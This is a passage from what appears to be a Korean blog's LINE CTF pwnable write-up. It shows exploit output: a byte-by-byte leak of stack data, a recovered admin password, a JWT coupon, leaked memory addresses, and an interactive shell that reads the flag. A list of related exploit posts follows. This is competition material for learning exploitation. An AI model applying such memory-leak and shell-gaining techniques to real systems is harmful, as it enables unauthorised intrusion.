15 b'109d77d7fe7f00000800000000000000'
16 b'109d77d7fe7f0000080000000000000065'
17 b'109d77d7fe7f000008000000000000006553'
18 b'109d77d7fe7f00000800000000000000655334'
19 b'109d77d7fe7f0000080000000000000065533470'
20 b'109d77d7fe7f000008000000000000006553347052'
21 b'109d77d7fe7f0000080000000000000065533470524e'
22 b'109d77d7fe7f0000080000000000000065533470524e4e'
23 b'109d77d7fe7f0000080000000000000065533470524e4e42'
24
stack_leak (start of user_list) : 0x7ffed7779d00
original password length : 0x8
admin password : b'eS4pRNNB'
coupon: b'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpYXQiOjE3MTIyMzk2NjcsImlzcyI6ImxpbmVjdGYiLCJ1c2VyaWQiOiJXZWxjb21lISJ9.1RDoH32OBX_AHxG5rNOxvYUb5bxyGHJ-1I_wSAKEe00'
[(2, 41), (4, 51), (9, 48), (16, 12), (16, 47)] [(2, 30)] [(14, 30)]
0x7b6d97a3e000
[*] Switching to interactive mode
[*] quit
$ id
-rw-rw-r-- 1 nobody nogroup 42 Mar 22 02:13 flag
-rwxr-xr-x 1 nobody nogroup 256352 Mar 22 02:13 game
$ cat flag
LINECTF{276689eec0b64b87bc7e247ccb5da403}
Flag : LINECTF{276689eec0b64b87bc7e247ccb5da403}
'CTF' 카테고리의 다른 글
Defcon CTF 2013 Qual - pwnable1 (Exploit only) (0) | 2013.07.07 |
---|---|
Secuinside 2012 Quals Pwnable Chal Exploits (0) | 2012.10.07 |
Secuinside 2012 Quals - Classico (Exploit only) (0) | 2012.10.07 |
Secuinside 2012 Quals - Roadie (Exploit only) (0) | 2012.10.07 |
Secuinside 2012 Quals - Tribute (Exploit only) (0) | 2012.10.07 |